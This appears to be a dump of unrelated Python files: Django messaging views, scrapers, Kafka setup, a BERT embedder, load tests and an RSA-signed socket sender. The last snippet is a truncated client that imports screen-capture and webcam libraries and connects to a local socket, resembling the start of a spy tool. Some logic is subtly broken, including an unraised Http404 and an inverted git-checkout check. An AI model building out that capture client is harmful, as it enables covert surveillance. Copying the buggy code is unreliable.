from allauth.account.models import EmailAddress

from django.conf import settings
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.contrib.auth.models import User
from django.core.mail import send_mail
from django.core.exceptions import ObjectDoesNotExist
from django.core.urlresolvers import reverse_lazy, reverse
from django.db.models import Q
from django.shortcuts import render, get_list_or_404, get_object_or_404, Http404
from django.views.generic import (
    CreateView, ListView,
    UpdateView, DeleteView,
    DetailView, RedirectView,)
from django.utils import timezone

from quests.models import UserProfileImage, Quest

from .models import (
    Education, WorkExperience,
    DefuseMessage, ContactUs)
from .forms import (
    EducationForm, WorkExperienceForm,
    SendMessageForm, ContactUsForm,
    ReplyForm)
from .mixins import CheckingUserPermissionMixin, UserExperiencePermissionMixin

# Create your views here.

class ContactUsFormView(CreateView):
    '''contact form'''
    model = ContactUs
    form_class = ContactUsForm
    success_url = reverse_lazy('homepage')

@login_required
def profile_list_view(request):
    """A page where users can view their own profile"""
    user = get_object_or_404(User, username=request.user.username)
    email = get_object_or_404(EmailAddress, user=user, primary=True)
    profile_img = get_object_or_404(UserProfileImage, user=user)
    experience = ''

    try:
        experience = get_list_or_404(WorkExperience, user=user)
    except:
        pass

    context = {
        'user': user,
        'email': email,
        'experiences': experience,
        'profile_img': profile_img,
    }

    return render(request, 'profiles/profile_list.html', context)

@login_required
def user_quest_list_view(request):
    """A page where users can view their collection of quests"""
    user_quest_list = ''

    try:
        user_quest_list = Quest.objects.filter(user=request.user, explosion_datetime__gte=timezone.now())
        user_quest_list_count = user_quest_list.count()
        all_quest = Quest.objects.all()
        defused_quests = all_quest.filter(interested_users=request.user)
        defused_quests_count = defused_quests.count()
    except ObjectDoesNotExist:
        msg = "No quest"
        raise ObjectDoesNotExist(msg)

    context = {
        'list': user_quest_list,
        'count': user_quest_list_count,
        'def_quests': defused_quests,
        'def_quest_count': defused_quests_count,
    }
    return render(request, 'profiles/user_quest_list.html', context)

@login_required
def user_dashboard(request):
    """User dashboard"""
    profile_pic = UserProfileImage.objects.get(user=request.user)
    received = DefuseMessage.objects.filter(
        receiver=request.user, viewed_by_receiver=False, trash_by_receiver=False).count()
    template_name = 'profiles/user_dashboard.html'
    context = {
        'profile_pic': profile_pic,
        'new': received,
    }
    return render(request, template_name, context)

class MessageInboxView(LoginRequiredMixin, ListView):
    """Message Inbox page"""
    model = DefuseMessage
    context_object_name = 'messages'
    template_name = 'profiles/inbox_pages.html'

    def get_context_data(self, *args, **kwargs):
        # for each in context['sender']:
        #     each_reply_count = each.replies.all()
        #     print(each_reply_count)
        #     count_unread = [unread for unread in each_reply_count if unread.viewed_by_receiver == False]
        #     print(len(count_unread))
        context = super().get_context_data(*args, **kwargs)
        every_message = DefuseMessage.objects.prefetch_related('replies')
        unread_count, created_unread_count = {}, {}
        context['receiver'] = every_message.filter(
            receiver=self.request.user, trash_by_receiver=False, parent__isnull=True).order_by('-send_at')
        for each in context['receiver']:
            unread_count[each.id] = each.replies.all().filter(
                receiver=self.request.user, viewed_by_receiver=False).count()
        context['unread_count'] = unread_count
        context['total_count'] = sum(unread_count.values())
        context['sender'] = every_message.filter(
            sender=self.request.user, trash_by_sender=False, parent__isnull=True).order_by('-send_at')
        for each in context['sender']:
            created_unread_count[each.id] = each.replies.all().filter(
                receiver=self.request.user, viewed_by_receiver=False).count()
        context['created_unread_count'] = created_unread_count
        context['created_unread_total_count'] = sum(created_unread_count.values())
        return context

class MessageDetailView(LoginRequiredMixin, CheckingUserPermissionMixin, DetailView):
    """message detail"""
    template_name = 'profiles/defusemessage_detaill.html'
    model = DefuseMessage
    context_object_name = 'message'

    def get_context_data(self, *args, **kwargs):
        context = super().get_context_data(*args, **kwargs)
        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])
        context['sender_email'] = get_object_or_404(EmailAddress, user=particular_message.sender)
        context['sender_profile'] = get_object_or_404(UserProfileImage, user=particular_message.sender)
        context['receiver_profile'] = get_object_or_404(UserProfileImage, user=particular_message.receiver)
        context['quest'] = get_object_or_404(Quest, slug=particular_message.related_quest.slug)
        context['children'] = particular_message.replies.all().order_by('send_at')
        context['reply_form'] = ReplyForm()
        context['create_url'] = reverse('dashboard:message_reply', kwargs={'pk': particular_message.pk})
        context['interested_url'] = reverse('dashboard:interested_message_reply', kwargs={'pk': particular_message.pk})
        return context

    def get(self, request, *args, **kwargs):
        self.object = self.get_object()
        context = self.get_context_data(object=self.object)
        current_user = get_object_or_404(User, username=self.request.user.username)
        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])
        replies = DefuseMessage.objects.filter(parent=particular_message)
        if self.object.receiver == current_user:
            self.object.read_by_receiver()
            print(self.object)
        for reply in replies:
            if reply.receiver == current_user:
                reply.read_by_receiver()
        return self.render_to_response(context)

class MessageDelete(LoginRequiredMixin, CheckingUserPermissionMixin, RedirectView):
    """delete message button"""
    def get_redirect_url(self, *args, **kwargs):
        msg_pk = self.kwargs.get('pk')
        msg = get_object_or_404(DefuseMessage, pk=msg_pk)
        msg_sender = get_object_or_404(User, username=msg.sender.username)
        msg_receiver = get_object_or_404(User, username=msg.receiver.username)
        url_ = reverse_lazy("dashboard:message_inbox")
        user = self.request.user
        if user.is_authenticated():
            if msg_sender == user:
                if not msg.trash_by_sender:
                    msg.trash_by_sender = True
                    msg.save()
            elif msg.receiver == user:
                if not msg.trash_by_receiver:
                    msg.trash_by_receiver = True
                    msg.save()
            else:
                Http404
        return url_

class SentPageMessageReply(LoginRequiredMixin, CreateView):
    """Reply to a specific message"""
    # can't think straight today just gonna be lazy and not think too much about it
    form_class = ReplyForm
    # success_url = reverse_lazy("dashboard:message_detail", kwargs={'pk': })

    def form_valid(self, form):
        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])
        receiver = get_object_or_404(User, username=particular_message.receiver.username)
        quest = get_object_or_404(Quest, slug=particular_message.related_quest.slug)
        self.object = form.save(commit=False)
        self.object.sender = self.request.user
        self.object.receiver = receiver
        self.object.related_quest = quest
        if particular_message.parent:
            self.object.parent = particular_message.parent
        else:
            self.object.parent = particular_message
        self.object.subject = "Re: " + particular_message.subject
        self.object.save()
        return super().form_valid(form)

    def get_success_url(self):
        if 'pk' in self.kwargs:
            pk = self.kwargs['pk']
        return reverse_lazy('dashboard:message_detail', kwargs={'pk': pk})

class InterestedPageMessageReply(LoginRequiredMixin, CreateView):
    """Reply to a specific message"""
    form_class = ReplyForm

    def form_valid(self, form):
        particular_message = get_object_or_404(DefuseMessage, pk=self.kwargs['pk'])
        receiver = get_object_or_404(User, username=particular_message.sender.username)
        quest = get_object_or_404(Quest, slug=particular_message.related_quest.slug)
        self.object = form.save(commit=False)
        self.object.sender = self.request.user
        self.object.receiver = receiver
        self.object.related_quest = quest
        if particular_message.parent:
            self.object.parent = particular_message.parent
        else:
            self.object.parent = particular_message
        self.object.subject = "Re: " + particular_message.subject
        self.object.save()
        return super().form_valid(form)

    def get_success_url(self):
        if 'pk' in self.kwargs:
            pk = self.kwargs['pk']
        return reverse_lazy('dashboard:message_detail', kwargs={'pk': pk})

class WorkExperienceCreateView(LoginRequiredMixin, CreateView):
    """adding experience to profile"""
    model = WorkExperience
    form_class = WorkExperienceForm
    success_url = reverse_lazy("dashboard:my_profile")

    def form_valid(self, form):
        self.object = form.save(commit=False)
        self.object.user = self.request.user
        self.object.save()
        return super().form_valid(form)

class WorkExperienceUpdateView(LoginRequiredMixin, UserExperiencePermissionMixin, UpdateView):
    """updating an experience"""
    template_name = 'profiles/workexperience_update_form.html'
    model = WorkExperience
    form_class = WorkExperienceForm

class WorkExperienceDeleteView(LoginRequiredMixin, UserExperiencePermissionMixin, DeleteView):
    """deleting an experience"""
    model = WorkExperience
    template_name = 'profiles/delete_experience.html'
    success_url = reverse_lazy('dashboard:my_profile')


import discord

class Number:
    def __init__(self, number, claimed=False):
        self.number: int | None = number
        self.claimed: bool = claimed

class Player:
    def __init__(self, member, board):
        self.member: discord.Member = member
        self.board: list[list[Number]] = board

    def get_number_coordinates(self, number: int):
        x_cords, y_cords = 0, 0

        for y in self.board:
            for x in y:
                if x is not None:
                    if x.number == number:
                        return x_cords, y_cords

                x_cords += 1

            y_cords += 1

        return None, None

    def claim(self, number: int):
        x, y = self.get_number_coordinates(number)

        if x is None or y is None:
            return

        self.board[y][x].claimed = True

class Winner:
    def __init__(self, player, win_type):
        self.player: Player = player
        self.win_type: str = win_type


from splinter import Browser
from bs4 import BeautifulSoup
import pandas as pd
import time

def init_browser():

    executable_path = {"executable_path": "/usr/local/bin/chromedriver"}
    return Browser("chrome", **executable_path, headless=False)

def scrape():
    browser = init_browser()

    title, body = scrape_news()

    mars_data={"news_title":title,
                "paragraph":body,
                "main_image":featured_image(),
                "Mars_Facts":mars_facts(),
                "Hemisphere_urls":mars_images()
    }

    browser.quit()
    return mars_data

def scrape_news():

    browser = init_browser()

    url = 'https://mars.nasa.gov/news'
    browser.visit(url)

    time.sleep(1)

    html = browser.html

    soup = BeautifulSoup(html, 'html.parser')

    try:
        results = soup.find_all('div', class_='content_title')
        title = results[1].text
        results1 = soup.find_all('div', class_='article_teaser_body')
        body = results1[0].text
    except AttributeError:
        return None, None

    browser.quit()

    return title, body

def featured_image():

    browser = init_browser()

    url2 = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'
    browser.visit(url2)

    time.sleep(1)

    image_element = browser.find_by_id("full_image")
    image_element.click()

    more_info_element = browser.links.find_by_partial_text('more info')
    more_info_element.click()

    html2 = browser.html
    soup2 = BeautifulSoup(html2, 'html.parser')

    try:
        image1 = soup2.select_one('figure.lede a img').get("src")
        url3 = "https://www.jpl.nasa.gov"
        featured_image_url = url3 + image1
    except AttributeError:
        return None, None
    browser.quit()
    return featured_image_url

def mars_facts():
    browser = init_browser()

    url3 = 'https://space-facts.com/mars/'
    tables = pd.read_html(url3)
    df1 = tables[1]
    df1.set_index(["Mars - Earth Comparison"],inplace=True)
    html_table = df1.to_html()

    browser.quit()
    return html_table

def mars_images():
    browser = init_browser()
    mars_urls = ['https://astrogeology.usgs.gov/search/map/Mars/Viking/cerberus_enhanced','https://astrogeology.usgs.gov/search/map/Mars/Viking/schiaparelli_enhanced','https://astrogeology.usgs.gov/search/map/Mars/Viking/syrtis_major_enhanced','https://astrogeology.usgs.gov/search/map/Mars/Viking/valles_marineris_enhanced']
    hemisphere_image_urls = []
    for mars in mars_urls:
        #url_mars = mars
        browser.visit(mars)
        html_mars = browser.html
        soup_mars = BeautifulSoup(html_mars, 'html.parser')
        results4 = soup_mars.find('div', class_='downloads')
        image_url = results4.a['href']
        mars_title = soup_mars.find('h2', class_='title').text

        hemisphere_image_urls.append({'title': mars_title,'image_url': image_url})

    browser.quit()
    return hemisphere_image_urls


from kafka import KafkaAdminClient, KafkaProducer
import os
from kafka.admin import NewTopic
from common.config_manager.load_config import get_config
from common.ksqldbclient.ksqldb_client import KsqlDbClient
import pandas as pd
import json

def main():
    print("setting up system")
    env = os.getenv('F1_ENV')
    config = get_config(env)

    kafka_server = config['kafka']['server']
    kafka_topics_to_create = config['kafka']['topics_to_create']
    base_url_base_url = config['ksqldb']['base_url']
    drivers_path = config['input']['drivers_path']
    drivers_topic = config['kafka']['drivers_topic']

    kafka_admin_client = KafkaAdminClient(
        bootstrap_servers=kafka_server
    )
    create_topics_if_not_exists(kafka_admin_client, kafka_topics_to_create, drivers_topic)

    producer = KafkaProducer(bootstrap_servers=[kafka_server],
                             value_serializer=lambda x: json.dumps(x).encode('utf-8'),
                             acks='all')
    populate_drivers_table(producer, drivers_path, drivers_topic)

    ksqldb_client = KsqlDbClient(base_url_base_url)
    with open('python_code/setup/config/DDL.sql', 'r') as f:
        print(f"Setting up ksqlDb")
        queries_string = f.read()
        queries = queries_string.split(";")

        for query in queries:
            if query:
                print(f"Running ksqlDb query: {query}")
                query = f"{query};"
                ksqldb_client.execute_statement(query)

def populate_drivers_table(producer, drivers_file_name, kafka_output_topic):
    drivers_df = pd.read_csv(drivers_file_name)
    drivers = drivers_df.to_dict('records')

    print(f"populating drivers table")
    for d in drivers:
        producer.send(kafka_output_topic, d)

def create_topics_if_not_exists(admin_client: KafkaAdminClient, topic_names, drivers_topic):
    existing_topics = admin_client.list_topics()

    if drivers_topic in existing_topics:
        existing_topics = existing_topics.remove(drivers_topic)
        admin_client.delete_topics([drivers_topic])

    topic_names_to_create = [NewTopic(name, 1, 1) for name in topic_names if name not in existing_topics]

    if topic_names_to_create:
        print(f"creating kafka topics {', '.join([t.name for t in topic_names_to_create])}")
        admin_client.create_topics(topic_names_to_create)

if __name__ == '__main__':
    main()


import json
import pandas as pd
from django.shortcuts import render
from django.db import IntegrityError
from apps.core.models import Department

# Create your views here.

def index(request):
    df = pd.read_pickle("Input_Dataframe.pckl")
    depart = list(df.Department.unique())
    for d in depart:
        try:
            Department.objects.create(name = d)
        except IntegrityError:
            pass
    query_results = Department.objects.all();
    context = { 'query_results' : query_results }
    return render(request, template_name='index.html', context=context)

def dashboardView(request,name):

    query_results = Department.objects.all();
    df = pd.read_pickle("Input_Dataframe.pckl")
    depart = list(df.Department.unique())
    list_depart1 = df.loc[df['Department'] == depart[0]]
    list_depart2 = df.loc[df['Department'] == depart[1]]
    new_df1 = list_depart1.loc[df['Section'] == 'Bottom']
    new_df2 = list_depart2.loc[df['Item'] == 'Jobs']
    index1 = int(new_df1[new_df1['Section']=='Bottom'].index.values)
    index2 = int(new_df2[new_df2['Item']=='Jobs'].index.values)
    table1=list_depart1['Text'][index1].to_html(index=False,justify='left')
    table2=list_depart2['Text'][index2].to_html(index=False,justify='left')
    context = { 'query_results' : query_results, 'data': table1,'data1':table2}
    if name == 'Design':
        template_name='design.html'
    elif name == 'Engineering':
        template_name='engineering.html'
    else:
        template_name='accounting.html'

    return render(request, template_name, context=context)


import re
from urllib.parse import urljoin

import scrapy

from product_spider.items import RawData, ProductPackage, SupplierProduct
from product_spider.utils.cost import parse_cost
from product_spider.utils.functions import strip
from product_spider.utils.spider_mixin import BaseSpider

class YuanYeSpider(BaseSpider):
    """上海源叶"""
    name = "yuan_ye"
    start_urls = ["http://www.shyuanye.com/"]
    base_url = "http://www.shyuanye.com/"

    def parse(self, response, **kwargs):
        urls = response.xpath("//a[@class='over_2']/@href").getall()
        for url in urls:
            url = urljoin(self.base_url, url)
            yield scrapy.Request(
                url=url,
                callback=self.parse_list,
            )

    def parse_list(self, response):
        rows = response.xpath("//div[@class='goodsList']//tr/td[last()-4]//a")
        for row in rows:
            cat_no = row.xpath("./text()").get()
            url = urljoin(self.base_url, row.xpath("./@href").get())
            yield scrapy.Request(
                url=url,
                callback=self.parse_detail,
                meta={"cat_no": cat_no},
            )
        next_url = response.xpath("//a[contains(text(), '下一页')]/@href").get()
        if next_url:
            yield scrapy.Request(
                url=urljoin(self.base_url, next_url),
                callback=self.parse_list
            )

    def parse_detail(self, response):
        cat_no = response.meta.get("cat_no", None)
        parent = response.xpath("//div[@id='ur_here']/a[last()]/text()").get()
        chs_name = response.xpath("//div[@class='titleInfo']//td[last()]/h1/text()").get()
        purity = response.xpath("//div[@class='titleInfo']//td[last()]/text()").get()
        tmp_xpath = "//li[contains(text(), {!r})]/following-sibling::li//text()"

        en_name = strip(response.xpath(tmp_xpath.format("英文名：")).get())
        cas = strip(response.xpath(tmp_xpath.format("CAS号：")).get())
        mf = strip(''.join(response.xpath(tmp_xpath.format("分子式：")).getall()))
        mw = strip(response.xpath(tmp_xpath.format("分子量：")).get())
        mdl = strip(response.xpath(tmp_xpath.format("MDL：")).get())

        img_url = response.xpath("//div[@class='imgInfo']//img/@src").get()
        if img_url == "./images/no_picture.jpg":
            img_url = None
        else:
            img_url = urljoin(self.base_url, img_url)

        d = {
            "brand": self.name,
            "parent": parent,
            "cat_no": cat_no,
            "chs_name": chs_name,
            "purity": purity,
            "en_name": en_name,
            "cas": cas,
            "mf": mf,
            "mw": mw,
            "mdl": mdl,
            "img_url": img_url,
            "prd_url": response.url,
        }
        yield RawData(**d)
        rows = response.xpath("//form[@name='form1 ']//tr")
        for row in rows:
            res = re.search(r'(?<=-).*', row.xpath("./td[last()-10]/text()").get())
            if not res:
                continue
            package = res.group()
            cost = parse_cost(row.xpath("./td[last()-7]/text()").get())
            dd = {
                "brand": self.name,
                "cat_no": cat_no,
                "package": package,
                "cost": cost,
                "currency": "RMB"
            }
            ddd = {
                "platform": self.name,
                "vendor": self.name,
                "brand": self.name,
                "parent": d["parent"],
                "en_name": d["en_name"],
                "chs_name": d["chs_name"],
                "cas": d["cas"],
                "mf": d["mf"],
                "mw": d["mw"],
                'cat_no': d["cat_no"],
                'package': dd['package'],
                'cost': dd['cost'],
                "currency": dd["currency"],
                "img_url": d["img_url"],
                "prd_url": d["prd_url"],
            }
            yield ProductPackage(**dd)
            yield SupplierProduct(**ddd)


#!/usr/bin/env python3
import socket
import struct
import time
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
import argparse

possible_hashes = ['sha1','sha512-224','sha512-256','sha224','sha256', 'sha384', 'sha512', 'sha3-224', 'sha3-256', 'sha3-384', 'sha3-512', 'shake128', 'shake256', 'md5', 'blake2b', 'blake2s']
hash_functions = [hashes.SHA1(), hashes.SHA512_224(),hashes.SHA512_256(), hashes.SHA224(), hashes.SHA256(), hashes.SHA384(), hashes.SHA512(), hashes.SHA3_224(), hashes.SHA3_256(), hashes.SHA3_384(), hashes.SHA3_512(), hashes.SHAKE128(128), hashes.SHAKE256(256), hashes.MD5(), hashes.BLAKE2b(64), hashes.BLAKE2s(32)]

private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

localhost = "127.0.0.1"
port = 55841

def send_msg(sock, signature, msg, args):
    # Prefix each message with a 4-byte length (network byte order)
    #print(hashlib.md5(msg).hexdigest())
    msg = struct.pack('>I', len(msg)) + struct.pack('>Q', round(time.time()*1000)) + struct.pack('>I', possible_hashes.index(args.hash)) + struct.pack('>?', args.control) + struct.pack('>I', len(signature)) + signature + msg
    sock.sendall(msg)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-ha', '--hash', help='Input signature hash, like in \'sha256\' or \'md5\'', default='sha256')
    parser.add_argument('-l', '--loop', help='Input amount of times to loop', type=int, default=1)
    parser.add_argument('-c', '--control', help='Turn off digital signature', action="store_true")
    args = parser.parse_args()

    if(args.hash not in possible_hashes):
        print("Please Input a Valid Hash")
        exit(-1)

    pubkey_file = open('pubkey','w')#Publishes public key for reciever to see (local file for this setup)
    pubkey_file.write(public_key.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode('utf-8'))
    pubkey_file.close()

    for i in range(args.loop):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((localhost, port))

            data_file = open('credit_card.json')#gets the data from the file
            data = data_file.read()
            data_file.close()
            data = data.encode('utf-8')

            if args.control:
                send_msg(s, "", data, args)
                s.close
                continue

            signature = private_key.sign(#creates signature
                data,
                padding.PSS(
                    mgf=padding.MGF1(hash_functions[possible_hashes.index(args.hash)]),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hash_functions[possible_hashes.index(args.hash)]
            )

            send_msg(s, signature, data, args)
            s.close()
    time.sleep(1)


import datetime
import subprocess
from utils.eta_tool import ETATool

up_speed = 1.2433  # in megabits, can replace with your github upload speed to get more accurate eta results

class opReleaser:
  profiles = {'ShaneSmiskol':  # add as many profiles as you want
                {'op_base_dir': 'C:/Git/openpilot-repos/op-smiskol/openpilot',
                 'release_branch': 'stock_additions',
                 'target_branch': 'stock_additions-release',
                 'commit_message': 'Stock Additions (0.7.4) {} Release'},
              }

  def __init__(self):
    """
      self.op_base_dir: Replace with the path leading to your local openpilot repository
      self.release_branch: Replace with the name of your most stable branch
      self.target_branch: Replace with the name of the target branch you want a squashed version of your release branch on
      self.commit_message: The commit message to be pushed to your target_branch. You can either use the included date function or remove it

      When you run this file, it will checkout your release branch immediately, make sure it's up to date with your remote by pulling before running
    """

    profile = 'ShaneSmiskol'  # change to your desired current profile

    self.op_base_dir = self.profiles[profile]['op_base_dir']
    self.release_branch = self.profiles[profile]['release_branch']
    self.target_branch = self.profiles[profile]['target_branch']
    self.commit_message = self.profiles[profile]['commit_message'].format(self.get_cur_date())

    self.eta_tool = ETATool(self.op_base_dir, up_speed)

    self.msg_count = 0
    self.total_steps = 3

    self.create_release()

  def create_release(self):
    # Checkout release branch
    r = self.run('git checkout {}'.format(self.release_branch))
    if any([True if r in i else False for i in ['Switched to branch', 'Already on']]):
      raise Exception('Error checking out release branch!')

    # Delete old target branch if it exists
    self.attempt_delete()

    # Checkout a new orphan branch
    r = self.run('git checkout --orphan {}'.format(self.target_branch))
    if 'Switched to a new branch' not in r:
      raise Exception('Error switching to target branch!')

    # Add all files in release branch to new target branch
    self.message('Adding and committing all files to {} branch...'.format(self.target_branch))
    self.run('git add --all')

    # Commit all files
    r = self.run(['git', 'commit', '-am', self.commit_message], no_convert=True)

    if 'create mode' not in r:
      raise Exception('Error adding files to current branch!')

    self.eta_tool.start_eta()

    # Replace current release on remote
    self.message('Now force pushing to remote (origin/{})...'.format(self.target_branch))
    self.run('git push -f --set-upstream origin {}'.format(self.target_branch))
    self.eta_tool.stop()

    # Check the release branch back out
    self.run('git checkout {}'.format(self.release_branch))

    # Finished
    print('\nFinished! Squashed {} branch to 1 commit and force pushed to {} branch!'.format(self.release_branch, self.target_branch))
    print('Commit message: {}'.format(self.commit_message))

  def run(self, cmd, no_convert=False):
    if not no_convert:
      cmd = cmd.split(' ')
    return subprocess.check_output(cmd, cwd=self.op_base_dir, stderr=subprocess.STDOUT, encoding='utf8')

  def attempt_delete(self):
    try:
      r = self.run('git branch -D {}'.format(self.target_branch))
      self.message(r.replace('\n', ''))
    except subprocess.CalledProcessError:
      self.message('{} branch already deleted.'.format(self.target_branch))

  def get_cur_date(self):
    today = datetime.datetime.today()
    return today.strftime('%h %d, %Y').replace(' 0', ' ')

  def message(self, msg):
    print('[{}/{}]: {}'.format(self.msg_count + 1, self.total_steps, msg), flush=True)
    self.msg_count += 1

opReleaser()


from django.urls import path

from oauth import views

app_name = 'oauth'

urlpatterns = [
    path('', views.do_oauth, name='login'),
    path('logout/', views.log_out, name='logout'),
    path('callback/', views.callback, name='callback'),
]


#!pip install pytorch-pretrained-bert
import torch
#from pytorch_pretrained_bert import BertTokenizer, BertModel, BertForMaskedLM
# If we use Bert from tranformers it outputs the same shape embedding as the
# german one.
# Helpful : https://huggingface.co/transformers/model_doc/bert.html
from transformers import AutoModel, AutoTokenizer, BertTokenizer, BertModel
#
from preprocess import Preprocess

class Embedding():

    '''
    Parameters:
        lang: 'en'/'english' or 'de'/'german'
        model: Pretrained Bert model if lang=='en'
                Pretrained German Bert model if lang=='de'
        tokenizer: Pretrained Bert tokenizer if lang=='en'
                Pretrained German Bert tokenizer if lang=='de'
        preprocesssor: Sentence preprocessor {Lemmatization/ Stop words removal}
    '''

    def __init__(self, lang):
        self.model = None
        self.tokenizer = None
        self.preprocessor = Preprocess(lang)
        self.lang = self._set_language(lang)

    def _set_language(self, lang):
        '''
        Parameters
        ----------
        lang : str
            DESCRIPTION. 'en' or 'english' for English
                        'de' or 'german' for German

        Raises
        ------
        ValueError
            DESCRIPTION. If input is not in {'en', 'english', 'de', 'german'}

        Returns
        -------
        'english' or 'german'
            DESCRIPTION. Sets the Encoder and Tokenizer.

        '''

        if lang == 'en' or lang == 'english':
            print('Loading English BERT tokenizer...\n')
            self.tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
            print('Loading English BERT Model...\n')
            self.model = BertModel.from_pretrained('bert-base-uncased')

            return 'english'

        elif lang == 'de'or lang == 'german':
            print('Loading German BERT tokenizer...\n')
            self.tokenizer = AutoTokenizer.from_pretrained("dbmdz/bert-base-german-cased")
            print('Loading German BERT Model...\n')
            self.model = AutoModel.from_pretrained("dbmdz/bert-base-german-cased")

            return 'german'

        else:
            raise ValueError('{} {}'.format("Input must be one of two: 'en' or",
                             "english' for English, 'de' or 'german' for German."))

    def get_batch_embedding(self, sentences, batch_size, lemmatize=False, remove_stop_words=False):
        '''
        Parameters
        ----------
        sentences : list
            DESCRIPTION. A list of raw text sentences.
        batch_size : int
            DESCRIPTION. Sentences are split into sets of length batch_size
                        to be fed into the model.
        lemmatize : TYPE, optional
            DESCRIPTION. The default is False. If True the preprocessor is used to
                        lemmatise the sentence.
        remove_stop_words : bool, optional
            DESCRIPTION. The default is False. If True the preprocessor is used to
                        remove the stop-words in each sentence.

        Returns
        -------
        embedding_max : Tensor of shape (len(sentences), 768)

        embedding_avg : Tensor of shape (len(sentences), 768)

        '''
        #https://mccormickml.com/2019/07/22/BERT-fine-tuning/
        embedding_max = torch.empty(len(sentences), 768)
        embedding_avg = torch.empty(len(sentences), 768)
        for b in range(0, len(sentences), batch_size):
            print('Processing batch {}...'.format(int(b / batch_size + 1)))
            batch = sentences[b:b+batch_size]

            tokenized_sentences = []
            # Preprocess and tokenize batch
            for sentence in batch:
                sentence = " ".join([word if word[-3:] != "n't" else word + " not" for word in sentence.split()])
                if lemmatize:
                    sentence = self.preprocessor.get_preprocessed_sentence(sentence, remove_stop_words)
                tokenized_sentence = self.get_tokenized_sentence(sentence)
                tokenized_sentences.append(tokenized_sentence)
            current_batch_size = len(tokenized_sentences)
            max_length = len(max(tokenized_sentences, key=len))

            # Create tokens_tensor/segmentes_tensor of length (current_batch_size, max_length)
            # index 0 in the vocab = "[PAD]"
            # zeros in tokens_tensor are equal to [PAD]
            # zeros in segments_tensor correspond to padded words

            tokens_tensor = torch.zeros(current_batch_size, max_length, dtype=torch.long)
            segments_tensor = torch.zeros(current_batch_size, max_length, dtype=torch.long)
            for i in range(len(tokenized_sentences)):
                sent = tokenized_sentences[i]
                sent_len = len(sent)

                tokens_tensor[i,:sent_len] = self.get_token_tensor(
                    self.get_indexed_tokens(sent)
                    )
                segments_tensor[i,:sent_len] = self.get_segments_tensor(
                    self.get_segment_indices(sent)
                    )
            # Put the model to evaluation mode
            self.model.eval()
            with torch.no_grad():
                print('Getting embedding for batch {}...\n'.format(int(b / batch_size + 1)))
                encoded_layers, _ = self.model(tokens_tensor, segments_tensor)

            # Average or take the max embeddings with respect to dim=1
            batch_embedding_max, _ = encoded_layers.max(dim=1)
            batch_embedding_avg = encoded_layers.mean(dim=1)

            embedding_max[b:b+batch_size,:] = batch_embedding_max
            embedding_avg[b:b+batch_size,:] = batch_embedding_avg
        print('DONE!')
        print('Embedding size is ({},{})'.format(embedding_max.shape[0], embedding_max.shape[1]))
        return embedding_max, embedding_avg

    def get_tokenized_sentence(self, preprocessed_sentence):
        '''
        Parameters
        ----------
        preprocessed_sentence : str
            DESCRIPTION. A preprocessed sentence to be tokenized.
                    [CLS] marks the beggining and [SEP] the ending of the sentence.

        Returns
        -------
        tokenized_sentence : list
            DESCRIPTION. A list with tokens of the sentence.

        '''
        # "[CLS]" marks the beggining of a sentence
        # "[SEP]" marks the ending of a sentence
        marked_sentence = "[CLS] " + preprocessed_sentence + " [SEP]"
        tokenized_sentence = self.tokenizer.tokenize(marked_sentence)

        return tokenized_sentence

    def get_indexed_tokens(self, tokenized_sentence):

        indexed_tokens = self.tokenizer.convert_tokens_to_ids(tokenized_sentence)

        return indexed_tokens

    def get_segment_indices(self, tokenized_sentence):

        return [1] * len(tokenized_sentence)

    def get_token_tensor(self, indexed_tokens):
        '''
        To be called with get_indexed_tokens
        '''

        tokens_tensor = torch.tensor([indexed_tokens])

        return tokens_tensor

    def get_segments_tensor(self, segments_ids):
        '''
        To be called with get_segment_indices
        '''

        segments_tensors = torch.tensor([segments_ids])

        return segments_tensors


from locust import between, task, HttpUser, SequentialTaskSet

class UserBehavior(SequentialTaskSet):
    def __init__(self, parent):
        super(UserBehavior, self).__init__(parent)
        self.token = ""
        self.user_id = "1711"

    def on_start(self):
        with self.client.post("/token",
                              name="retrieve token",
                              data={"client_id": "",
                                    "client_secret": "",
                                    "grant_type": "client_credentials"},
                              catch_response=True) as resp:
            if "access_token" in resp.text:
                self.token = resp.json()["access_token"]
                resp.success()
            else:
                resp.failure("Token generation failed")

    @task(2)
    def unlock_barn(self):
        with self.client.post("/api/" + self.user_id + "/barn-unlock",
                              name="unlock barn",
                              headers={"Authorization": "Bearer " + self.token},
                              catch_response=True) as resp:
            if "\"success\":true" in resp.text:
                resp.success()
            else:
                resp.failure("Barn unlock failed")

    @task(1)
    def self_interrupt(self):
        self.interrupt()

class MyUser(HttpUser):
    wait_time = between(1, 3)
    host = "http://coop.apps.symfonycasts.com"
    tasks = [UserBehavior]

class ReqRes(SequentialTaskSet):
    def __init__(self, parent):
        super().__init__(parent)
        self.user_id = ""

    @task(3)
    def create_user(self):
        with self.client.post("api/users",
                              name="create user",
                              json={
                                  "name": "morpheus",
                                  "job": "leader"
                              },
                              catch_response=True) as resp:
            if "\"id\":" in resp.text:
                resp.success()
                self.user_id = str(resp.json()["id"])
            else:
                resp.failure("user creation failed")

    @task(2)
    def delete_user(self):
        with self.client.delete("api/users/"+self.user_id,
                                name="delete user",
                                catch_response=True) as resp:
            if str(resp.status_code) == '204':
                resp.success()
            else:
                resp.failure("User deletion failed")

    @task(1)
    def self_interrupt(self):
        self.interrupt()

class MyReqRes(HttpUser):
    wait_time = between(1, 3)
    host = "https://reqres.in/"
    tasks = [ReqRes]


import socket,os,time
from PIL import ImageGrab
from VideoCapture import Device

while True:
    try:
        print('正在连接...')
        HOST, PORT = '127.0.0.1', 9999
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((HOST, PORT))

    except:
        print('connect...')
